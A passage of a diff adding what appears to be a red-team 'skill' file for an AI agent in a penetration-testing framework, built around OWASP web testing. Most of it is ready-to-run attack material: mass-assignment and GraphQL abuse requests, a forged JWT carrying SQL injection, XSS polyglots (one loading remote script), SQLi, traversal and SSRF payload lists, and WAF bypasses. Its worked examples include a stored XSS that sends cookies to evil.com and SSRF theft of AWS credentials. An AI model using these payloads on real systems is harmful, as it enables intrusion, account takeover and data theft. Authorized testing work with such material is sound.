# Mass assignment via API
|
|
1427
|
+
curl -sk -X POST "$TARGET/api/v1/users/register" \
|
|
1428
|
+
-H "Content-Type: application/json" \
|
|
1429
|
+
-d '{
|
|
1430
|
+
"username": "newuser",
|
|
1431
|
+
"password": "Password1!",
|
|
1432
|
+
"email": "new@user.com",
|
|
1433
|
+
"role": "admin",
|
|
1434
|
+
"is_admin": true,
|
|
1435
|
+
"plan": "enterprise",
|
|
1436
|
+
"credits": 999999
|
|
1437
|
+
}'
|
|
1438
|
+
|
|
1439
|
+
# GraphQL depth/complexity DoS
|
|
1440
|
+
curl -sk -X POST "$TARGET/graphql" \
|
|
1441
|
+
-H "Content-Type: application/json" \
|
|
1442
|
+
-d '{"query":"{ users { friends { friends { friends { friends { friends { id name } } } } } } }"}'
|
|
1443
|
+
|
|
1444
|
+
# GraphQL batch query attack (rate limit bypass)
|
|
1445
|
+
python3 - << 'EOF'
|
|
1446
|
+
import requests, json
|
|
1447
|
+
target = 'https://target.example.com/graphql'
|
|
1448
|
+
# Send 1000 queries in one request
|
|
1449
|
+
queries = [{"query": f"query q{i} {{ user(id: {i}) {{ id email }} }}"} for i in range(1, 1001)]
|
|
1450
|
+
# Batch as array
|
|
1451
|
+
r = requests.post(target, json=queries, verify=False)
|
|
1452
|
+
print(f'Status: {r.status_code}, Emails found: {r.text.count("@")}')
|
|
1453
|
+
EOF
|
|
1454
|
+
|
|
1455
|
+
# API key in various locations
|
|
1456
|
+
for header in \
|
|
1457
|
+
"X-API-Key: TEST" \
|
|
1458
|
+
"Authorization: ApiKey TEST" \
|
|
1459
|
+
"api-key: TEST" \
|
|
1460
|
+
"X-Access-Token: TEST"; do
|
|
1461
|
+
curl -sk "$TARGET/api/sensitive-data" -H "$header" -I | head -1
|
|
1462
|
+
done
|
|
1463
|
+
```
|
|
1464
|
+
|
|
1465
|
+
### ADVANCED Steps
|
|
1466
|
+
|
|
1467
|
+
```bash
|
|
1468
|
+
# GraphQL IDOR
|
|
1469
|
+
curl -sk -X POST "$TARGET/graphql" \
|
|
1470
|
+
-H "Content-Type: application/json" \
|
|
1471
|
+
-H "Authorization: Bearer $LOW_PRIV_TOKEN" \
|
|
1472
|
+
-d '{"query":"{ user(id: \"OTHER_USER_ID\") { id email creditCard { number cvv } } }"}'
|
|
1473
|
+
|
|
1474
|
+
# API endpoint fuzzing with parameter discovery
|
|
1475
|
+
# Param Miner equivalent via ffuf
|
|
1476
|
+
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt \
|
|
1477
|
+
-u "$TARGET/api/user?FUZZ=test" \
|
|
1478
|
+
-H "Authorization: Bearer $TOKEN" \
|
|
1479
|
+
-fs 0 -mc all \
|
|
1480
|
+
-o "$OUT_DIR/scans/api-params.json"
|
|
1481
|
+
|
|
1482
|
+
# JWT algorithm confusion in API
|
|
1483
|
+
python3 - << 'EOF'
|
|
1484
|
+
# kid header injection
|
|
1485
|
+
import base64, json
|
|
1486
|
+
|
|
1487
|
+
def b64url(data):
|
|
1488
|
+
if isinstance(data, str):
|
|
1489
|
+
data = data.encode()
|
|
1490
|
+
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
|
|
1491
|
+
|
|
1492
|
+
# SQL injection via JWT kid claim
|
|
1493
|
+
header = {"alg": "HS256", "typ": "JWT", "kid": "' UNION SELECT 'secret' --"}
|
|
1494
|
+
payload = {"sub": "admin", "role": "admin", "iat": 9999999999}
|
|
1495
|
+
secret = "secret"
|
|
1496
|
+
|
|
1497
|
+
import hmac, hashlib
|
|
1498
|
+
h = b64url(json.dumps(header)) + '.' + b64url(json.dumps(payload))
|
|
1499
|
+
sig = hmac.new(secret.encode(), h.encode(), hashlib.sha256).digest()
|
|
1500
|
+
token = h + '.' + b64url(sig)
|
|
1501
|
+
print(f'SQLi via kid JWT: {token}')
|
|
1502
|
+
EOF
|
|
1503
|
+
```
|
|
1504
|
+
|
|
1505
|
+
---
|
|
1506
|
+
|
|
1507
|
+
## Common Payloads Reference
|
|
1508
|
+
|
|
1509
|
+
### XSS Polyglots
|
|
1510
|
+
|
|
1511
|
+
```
|
|
1512
|
+
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
|
1513
|
+
"><img src=x id=dmFyIHg9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7eC5zcmM9Ii8vMTAuMTAuMTAuMS9hIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw== onerror=eval(atob(this.id))>
|
|
1514
|
+
```
|
|
1515
|
+
|
|
1516
|
+
### SQL Injection Payloads
|
|
1517
|
+
|
|
1518
|
+
```
|
|
1519
|
+
' OR 1=1--
|
|
1520
|
+
' OR 1=1#
|
|
1521
|
+
' OR '1'='1
|
|
1522
|
+
admin'--
|
|
1523
|
+
' UNION SELECT null,null,null--
|
|
1524
|
+
' UNION SELECT username,password,null FROM users--
|
|
1525
|
+
1; EXEC xp_cmdshell('whoami')--
|
|
1526
|
+
' AND SLEEP(5)--
|
|
1527
|
+
' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--
|
|
1528
|
+
' AND EXTRACTVALUE(0,CONCAT(0x7e,(SELECT version())))--
|
|
1529
|
+
```
|
|
1530
|
+
|
|
1531
|
+
### Path Traversal Payloads
|
|
1532
|
+
|
|
1533
|
+
```
|
|
1534
|
+
../../../etc/passwd
|
|
1535
|
+
..%2f..%2f..%2fetc%2fpasswd
|
|
1536
|
+
..%252f..%252f..%252fetc%252fpasswd
|
|
1537
|
+
....//....//....//etc/passwd
|
|
1538
|
+
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
|
|
1539
|
+
..\/..\/..\/etc/passwd
|
|
1540
|
+
/etc/passwd%00.jpg
|
|
1541
|
+
```
|
|
1542
|
+
|
|
1543
|
+
### SSRF Bypass Payloads
|
|
1544
|
+
|
|
1545
|
+
```
|
|
1546
|
+
http://127.0.0.1/
|
|
1547
|
+
http://0.0.0.0/
|
|
1548
|
+
http://0/
|
|
1549
|
+
http://localhost/
|
|
1550
|
+
http://2130706433/ (127.0.0.1 as decimal)
|
|
1551
|
+
http://0x7f000001/ (127.0.0.1 as hex)
|
|
1552
|
+
http://[::1]/ (IPv6 localhost)
|
|
1553
|
+
http://[::]0x00/
|
|
1554
|
+
dict://127.0.0.1:6379/ (Redis)
|
|
1555
|
+
file:///etc/passwd
|
|
1556
|
+
gopher://127.0.0.1:25/ (SMTP)
|
|
1557
|
+
```
|
|
1558
|
+
|
|
1559
|
+
---
|
|
1560
|
+
|
|
1561
|
+
## WAF Bypass Techniques
|
|
1562
|
+
|
|
1563
|
+
### SQL Injection WAF Bypass
|
|
1564
|
+
|
|
1565
|
+
```bash
|
|
1566
|
+
# Case variation
|
|
1567
|
+
' UnIoN SeLeCt null,null--
|
|
1568
|
+
# Comment insertion
|
|
1569
|
+
' UN/**/ION SEL/**/ECT null--
|
|
1570
|
+
# URL encoding
|
|
1571
|
+
%27%20UNION%20SELECT%20null--
|
|
1572
|
+
# Double encoding
|
|
1573
|
+
%2527 -> ' after double decode
|
|
1574
|
+
# Scientific notation for numbers
|
|
1575
|
+
1e0 UNION SELECT...
|
|
1576
|
+
# Whitespace alternatives
|
|
1577
|
+
'%09UNION%0aSELECT%0d--
|
|
1578
|
+
# MySQL-specific
|
|
1579
|
+
'/*!UNION*/ /*!SELECT*/ null--
|
|
1580
|
+
```
|
|
1581
|
+
|
|
1582
|
+
### XSS WAF Bypass
|
|
1583
|
+
|
|
1584
|
+
```bash
|
|
1585
|
+
# Tag obfuscation
|
|
1586
|
+
<ScRiPt>alert(1)</ScRiPt>
|
|
1587
|
+
<svg/onload=alert(1)>
|
|
1588
|
+
<svg onload=alert(1)> (tab instead of space)
|
|
1589
|
+
<img src onerror=alert(1)>
|
|
1590
|
+
# Event handler variation
|
|
1591
|
+
<body onpageshow=alert(1)>
|
|
1592
|
+
<details open ontoggle=alert(1)>
|
|
1593
|
+
<input autofocus onfocus=alert(1)>
|
|
1594
|
+
# Character encoding
|
|
1595
|
+
<script>alert(1)</script>
|
|
1596
|
+
<script>eval('\x61lert\x281\x29')</script>
|
|
1597
|
+
# Template literals
|
|
1598
|
+
<script>`${alert(1)}`</script>
|
|
1599
|
+
# Protocol bypass
|
|
1600
|
+
<a href="javascript:alert(1)">click</a>
|
|
1601
|
+
```
|
|
1602
|
+
|
|
1603
|
+
### Generic WAF Bypass Headers
|
|
1604
|
+
|
|
1605
|
+
```bash
|
|
1606
|
+
# IP spoofing headers (if WAF trusts these)
|
|
1607
|
+
curl -sk "$TARGET/admin" \
|
|
1608
|
+
-H "X-Forwarded-For: 127.0.0.1" \
|
|
1609
|
+
-H "X-Real-IP: 127.0.0.1" \
|
|
1610
|
+
-H "X-Originating-IP: 127.0.0.1" \
|
|
1611
|
+
-H "X-Remote-IP: 127.0.0.1" \
|
|
1612
|
+
-H "X-Client-IP: 127.0.0.1"
|
|
1613
|
+
|
|
1614
|
+
# Content-Type confusion
|
|
1615
|
+
curl -sk -X POST "$TARGET/api/data" \
|
|
1616
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
1617
|
+
-d "data=%3Cscript%3Ealert(1)%3C/script%3E"
|
|
1618
|
+
|
|
1619
|
+
# HTTP/2 to HTTP/1 downgrade (via h2c smuggling)
|
|
1620
|
+
# Use h2csmuggler tool
|
|
1621
|
+
python3 h2csmuggler.py -x "$TARGET" "http://127.0.0.1/internal"
|
|
1622
|
+
```
|
|
1623
|
+
|
|
1624
|
+
---
|
|
1625
|
+
|
|
1626
|
+
## Real-World Engagement Examples
|
|
1627
|
+
|
|
1628
|
+
### Example 1: Authentication Bypass via SQL Injection
|
|
1629
|
+
|
|
1630
|
+
```bash
|
|
1631
|
+
# Target: Healthcare portal login
|
|
1632
|
+
# Discovery: Login form not parameterized
|
|
1633
|
+
curl -sk -X POST "https://target.example.com/login" \
|
|
1634
|
+
-d "username=admin'--&password=anything"
|
|
1635
|
+
# Result: Logged in as admin - SQL comment bypassed password check
|
|
1636
|
+
|
|
1637
|
+
# Impact: Access to patient records
|
|
1638
|
+
# CVSS: 9.8 Critical
|
|
1639
|
+
# Fix: Parameterized queries
|
|
1640
|
+
```
|
|
1641
|
+
|
|
1642
|
+
### Example 2: IDOR Leading to PII Exposure
|
|
1643
|
+
|
|
1644
|
+
```python
|
|
1645
|
+
# Target: E-commerce platform
|
|
1646
|
+
# Discovery: Predictable order IDs in sequential format
|
|
1647
|
+
import requests
|
|
1648
|
+
|
|
1649
|
+
token = "low_priv_user_jwt_token"
|
|
1650
|
+
headers = {"Authorization": f"Bearer {token}"}
|
|
1651
|
+
|
|
1652
|
+
# Our order ID is ORD-10542
|
|
1653
|
+
# Enumerate nearby orders
|
|
1654
|
+
for i in range(10500, 10600):
|
|
1655
|
+
r = requests.get(f"https://target.example.com/api/orders/ORD-{i}",
|
|
1656
|
+
headers=headers, verify=False)
|
|
1657
|
+
if r.status_code == 200:
|
|
1658
|
+
data = r.json()
|
|
1659
|
+
print(f"ORD-{i}: {data.get('customer_email')} - ${data.get('total')}")
|
|
1660
|
+
|
|
1661
|
+
# Result: Full order history of other customers
|
|
1662
|
+
# Impact: PII exposure (name, address, email, payment last 4)
|
|
1663
|
+
# CVSS: 7.5 High
|
|
1664
|
+
```
|
|
1665
|
+
|
|
1666
|
+
### Example 3: Stored XSS in Admin Panel
|
|
1667
|
+
|
|
1668
|
+
```bash
|
|
1669
|
+
# Target: SaaS platform - user profile name field
|
|
1670
|
+
# Payload stored and rendered in admin user list
|
|
1671
|
+
curl -sk -X PUT "https://target.example.com/api/profile" \
|
|
1672
|
+
-H "Authorization: Bearer $USER_TOKEN" \
|
|
1673
|
+
-H "Content-Type: application/json" \
|
|
1674
|
+
-d '{"display_name": "<img src=x onerror=\"fetch('"'"'https://evil.com/?c='"'"'+document.cookie)\">"}'
|
|
1675
|
+
|
|
1676
|
+
# When admin views user list -> cookie exfiltrated
|
|
1677
|
+
# Result: Admin session token captured -> full account takeover
|
|
1678
|
+
# CVSS: 8.8 High
|
|
1679
|
+
```
|
|
1680
|
+
|
|
1681
|
+
### Example 4: SSRF to AWS Metadata Service
|
|
1682
|
+
|
|
1683
|
+
```bash
|
|
1684
|
+
# Target: PDF generation service with URL parameter
|
|
1685
|
+
curl -sk "https://target.example.com/api/generate-pdf?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"
|
|
1686
|
+
|
|
1687
|
+
# Response included AWS credentials:
|
|
1688
|
+
# "AccessKeyId": "ASIAXXX",
|
|
1689
|
+
# "SecretAccessKey": "xxx",
|
|
1690
|
+
# "Token": "xxx"
|
|
1691
|
+
|
|
1692
|
+
# Lateral movement:
|
|
1693
|
+
AWS_ACCESS_KEY_ID=ASIAXXX \
|
|
1694
|
+
AWS_SECRET_ACCESS_KEY=xxx \
|
|
1695
|
+
AWS_SESSION_TOKEN=xxx \
|
|
1696
|
+
aws s3 ls --region us-east-1
|
|
1697
|
+
|
|
1698
|
+
# CVSS: 9.0 Critical
|
|
1699
|
+
```
|
|
1700
|
+
|
|
1701
|
+
---
|
|
1702
|
+
|
|
1703
|
+
## Integration with RTExit Autodoc Engine
|
|
1704
|
+
|
|
1705
|
+
### Finding Record Format
|
|
1706
|
+
|
|
1707
|
+
```python
|
|
1708
|
+
# Template for RTExit finding records
|
|
1709
|
+
finding = {
|
|
1710
|
+
"engagement_id": "RT-2024-042",
|
|
1711
|
+
"finding_id": "WEB-001",
|
|
1712
|
+
"category": "WSTG-INPV-05", # WSTG category code
|
|
1713
|
+
"title": "SQL Injection in Search Parameter",
|
|
1714
|
+
"severity": "Critical", # Critical/High/Medium/Low/Informational
|
|
1715
|
+
"cvss_score": 9.8,
|
|
1716
|
+
"cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
|
|
1717
|
+
"affected_url": "https://target.example.com/search",
|
|
1718
|
+
"affected_parameter": "q",
|
|
1719
|
+
"proof_of_concept": "curl -sk \"https://target.example.com/search?q=' OR 1=1--\"",
|
|
1720
|
+
"evidence": {
|
|
1721
|
+
"request": "GET /search?q=' OR 1=1-- HTTP/2",
|
|
1722
|
+
"response_snippet": "Error: You have an error in your SQL syntax...",
|
|
1723
|
+
"screenshot": "evidence/WEB-001-sqli.png"
|
|
1724
|
+
},
|
|
1725
|
+
"impact": "Attacker can read/modify entire database, potentially achieve RCE via INTO OUTFILE",
|
|
1726
|
+
"remediation": "Use parameterized queries or prepared statements. Implement input validation.",
|
|
1727
|
+
"references": [
|
|
1728
|
+
"https://owasp.org/www-community/attacks/SQL_Injection",
|
|
1729
|
+
"CWE-89"
|
|
1730
|
+
],
|
|
1731
|
+
"wstg_reference": "WSTG-INPV-05",
|
|
1732
|
+
"tested_by": "operator_handle",
|
|
1733
|
+
"tested_date": "2024-01-15"
|
|
1734
|
+
}
|
|
1735
|
+
```
|
|
1736
|
+
|
|
1737
|
+
### Autodoc CLI Integration
|
|
1738
|
+
|
|
1739
|
+
```bash
|
|
1740
|
+
# Log finding to RTExit
|
|
1741
|
+
rtexit finding add \
|
|
1742
|
+
--engagement "$ENG_ID" \
|
|
1743
|
+
--category "WSTG-INPV-05" \
|
|
1744
|
+
--severity "Critical" \
|
|
1745
|
+
--title "SQL Injection in Search Parameter" \
|
|
1746
|
+
--url "$TARGET/search" \
|
|
1747
|
+
--param "q" \
|
|
1748
|
+
--poc "GET /search?q='+OR+1=1--" \
|
|
1749
|
+
--evidence "$OUT_DIR/evidence/WEB-001.png"
|
|
1750
|
+
|
|
1751
|
+
# Generate category checklist report
|
|
1752
|
+
rtexit checklist generate \
|
|
1753
|
+
--engagement "$ENG_ID" \
|
|
1754
|
+
--standard WSTG \
|
|
1755
|
+
--output "$OUT_DIR/docs/checklist.md"
|
|
1756
|
+
|
|
1757
|
+
# Export findings to report template
|
|
1758
|
+
rtexit report generate \
|
|
1759
|
+
--engagement "$ENG_ID" \
|
|
1760
|
+
--template pentest-web \
|
|
1761
|
+
--output "$OUT_DIR/docs/report-draft.docx"
|
|
1762
|
+
```
|
|
1763
|
+
|
|
1764
|
+
### Evidence Collection Script
|
|
1765
|
+
|
|
1766
|
+
```bash
|
|
1767
|
+
#!/bin/bash
|
|
1768
|
+
# evidence-capture.sh - Capture evidence for RTExit
|
|
1769
|
+
FINDING_ID=$1
|
|
1770
|
+
DESCRIPTION=$2
|
|
1771
|
+
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
|
|
1772
|
+
EVIDENCE_DIR="$OUT_DIR/evidence"
|
|
1773
|
+
|
|
1774
|
+
# Capture HTTP request/response
|
|
1775
|
+
curl -sk -v "$TARGET/ENDPOINT" 2>&1 | tee "$EVIDENCE_DIR/${FINDING_ID}_${TIMESTAMP}.txt"
|
|
1776
|
+
|
|
1777
|
+
# Screenshot (requires cutycapt or similar)
|
|
1778
|
+
# cutycapt --url="$TARGET" --out="$EVIDENCE_DIR/${FINDING_ID}_screenshot.png"
|
|
1779
|
+
|
|
1780
|
+
# Hash for chain of custody
|
|
1781
|
+
sha256sum "$EVIDENCE_DIR/${FINDING_ID}_${TIMESTAMP}.txt" >> "$EVIDENCE_DIR/hashes.txt"
|
|
1782
|
+
|
|
1783
|
+
echo "Evidence saved: $EVIDENCE_DIR/${FINDING_ID}_${TIMESTAMP}.txt"
|
|
1784
|
+
```
|
|
1785
|
+
|
|
1786
|
+
---
|
|
1787
|
+
|
|
1788
|
+
## Output and Documentation Instructions
|
|
1789
|
+
|
|
1790
|
+
### Per-Category Checklist Template
|
|
1791
|
+
|
|
1792
|
+
For each WSTG category, maintain a checklist file:
|
|
1793
|
+
|
|
1794
|
+
```markdown
|
|
1795
|
+
# WSTG-INPV Checklist — [Engagement ID]
|
|
1796
|
+
|
|
1797
|
+
## Status Legend
|
|
1798
|
+
- [ ] Not tested
|
|
1799
|
+
- [~] In progress
|
|
1800
|
+
- [P] Passed (not vulnerable)
|
|
1801
|
+
- [V] Vulnerable — finding logged
|
|
1802
|
+
- [N/A] Not applicable
|
|
1803
|
+
|
|
1804
|
+
## Test Cases
|
|
1805
|
+
- [V] WSTG-INPV-01: Reflected XSS — Finding WEB-003
|
|
1806
|
+
- [P] WSTG-INPV-02: Stored XSS — No stored reflection found
|
|
1807
|
+
- [ ] WSTG-INPV-03: HTTP Verb Tampering
|
|
1808
|
+
- [V] WSTG-INPV-05: SQL Injection — Finding WEB-001
|
|
1809
|
+
- [N/A] WSTG-INPV-07: XML Injection — No XML endpoints
|
|
1810
|
+
```
|
|
1811
|
+
|
|
1812
|
+
### Finding Severity Matrix
|
|
1813
|
+
|
|
1814
|
+
| CVSS | Severity | SLA for Report |
|
|
1815
|
+
|------|----------|---------------|
|
|
1816
|
+
| 9.0-10.0 | Critical | 24 hours |
|
|
1817
|
+
| 7.0-8.9 | High | 48 hours |
|
|
1818
|
+
| 4.0-6.9 | Medium | End of engagement |
|
|
1819
|
+
| 0.1-3.9 | Low | End of engagement |
|
|
1820
|
+
| 0.0 | Informational | Final report |
|
|
1821
|
+
|
|
1822
|
+
### Evidence Naming Convention
|
|
1823
|
+
|
|
1824
|
+
```
|
|
1825
|
+
{FINDING_ID}_{WSTG_CODE}_{TYPE}_{TIMESTAMP}.{EXT}
|
|
1826
|
+
|
|
1827
|
+
Examples:
|
|
1828
|
+
WEB-001_INPV-05_request_20240115_143022.txt
|
|
1829
|
+
WEB-001_INPV-05_response_20240115_143022.txt
|
|
1830
|
+
WEB-001_INPV-05_screenshot_20240115_143022.png
|
|
1831
|
+
WEB-002_ATHZ-02_poc_20240115_152301.py
|
|
1832
|
+
```
|
|
1833
|
+
|
|
1834
|
+
---
|
|
1835
|
+
|
|
1836
|
+
## Skill Routing Guide
|
|
1837
|
+
|
|
1838
|
+
When to invoke sub-skills:
|
|
1839
|
+
|
|
1840
|
+
| Condition | Route to Skill |
|
|
1841
|
+
|-----------|---------------|
|
|
1842
|
+
| SQL injection confirmed | `rt-exploit-sqli` |
|
|
1843
|
+
| XSS confirmed, need to chain | `rt-exploit-xss` |
|
|
1844
|
+
| SSRF confirmed, need cloud escalation | `rt-exploit-ssrf` |
|
|
1845
|
+
| Auth bypass needed | `rt-exploit-auth` |
|
|
1846
|
+
| XXE payload development | `rt-exploit-xxe` |
|
|
1847
|
+
| IDOR enumeration at scale | `rt-exploit-idor` |
|
|
1848
|
+
| API-specific attacks | `rt-exploit-api` |
|
|
1849
|
+
| File upload bypass | `rt-exploit-upload` |
|
|
1850
|
+
| Deserialization deep dive | `rt-exploit-deser` |
|
|
1851
|
+
|
|
1852
|
+
---
|
|
1853
|
+
|
|
1854
|
+
## Resources and References
|
|
1855
|
+
|
|
1856
|
+
### Official Standards
|
|
1857
|
+
|
|
1858
|
+
- OWASP WSTG v4.2: https://owasp.org/www-project-web-security-testing-guide/
|
|
1859
|
+
- OWASP Testing Checklist: https://github.com/OWASP/wstg/tree/master/checklists
|
|
1860
|
+
- OWASP Top 10 2021: https://owasp.org/Top10/
|
|
1861
|
+
- CWE Top 25: https://cwe.mitre.org/top25/
|
|
1862
|
+
|
|
1863
|
+
### Tools
|
|
1864
|
+
|
|
1865
|
+
- Burp Suite: https://portswigger.net/burp
|
|
1866
|
+
- sqlmap: https://github.com/sqlmapproject/sqlmap
|
|
1867
|
+
- ffuf: https://github.com/ffuf/ffuf
|
|
1868
|
+
- nuclei: https://github.com/projectdiscovery/nuclei
|
|
1869
|
+
- nuclei-templates: https://github.com/projectdiscovery/nuclei-templates
|
|
1870
|
+
- jwt_tool: https://github.com/ticarpi/jwt_tool
|
|
1871
|
+
- testssl.sh: https://github.com/drwetter/testssl.sh
|
|
1872
|
+
- amass: https://github.com/OWASP/Amass
|
|
1873
|
+
- subfinder: https://github.com/projectdiscovery/subfinder
|
|
1874
|
+
- waybackurls: https://github.com/tomnomnom/waybackurls
|
|
1875
|
+
- gau: https://github.com/lc/gau
|
|
1876
|
+
- ysoserial: https://github.com/frohoff/ysoserial
|
|
1877
|
+
- git-dumper: https://github.com/arthaud/git-dumper
|
|
1878
|
+
- SSLyze: https://github.com/nabla-c0d3/sslyze
|
|
1879
|
+
- Caido: https://caido.io/
|
|
1880
|
+
|
|
1881
|
+
### Wordlists
|
|
1882
|
+
|
|
1883
|
+
- SecLists: https://github.com/danielmiessler/SecLists
|
|
1884
|
+
- PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
|
|
1885
|
+
- FuzzDB: https://github.com/fuzzdb-project/fuzzdb
|
|
1886
|
+
|
|
1887
|
+
### Learning Resources
|
|
1888
|
+
|
|
1889
|
+
- PortSwigger Web Security Academy: https://portswigger.net/web-security
|
|
1890
|
+
- HackTricks Web: https://book.hacktricks.xyz/pentesting-web
|
|
1891
|
+
- OWASP CheatSheet Series: https://cheatsheetseries.owasp.org/
|
|
1892
|
+
- Bug Bounty Bootcamp: https://nostarch.com/bug-bounty-bootcamp
|
|
1893
|
+
|
|
1894
|
+
### CVE Databases
|
|
1895
|
+
|
|
1896
|
+
- NVD: https://nvd.nist.gov/
|
|
1897
|
+
- Exploit-DB: https://www.exploit-db.com/
|
|
1898
|
+
- Vulhub: https://github.com/vulhub/vulhub
|
|
1899
|
+
|
|
1900
|
+
---
|
|
1901
|
+
|
|
1902
|
+
*This skill is part of the RTExit Red Team Framework. Always operate within authorized scope. Document all activities. Obtain written authorization before testing.*
|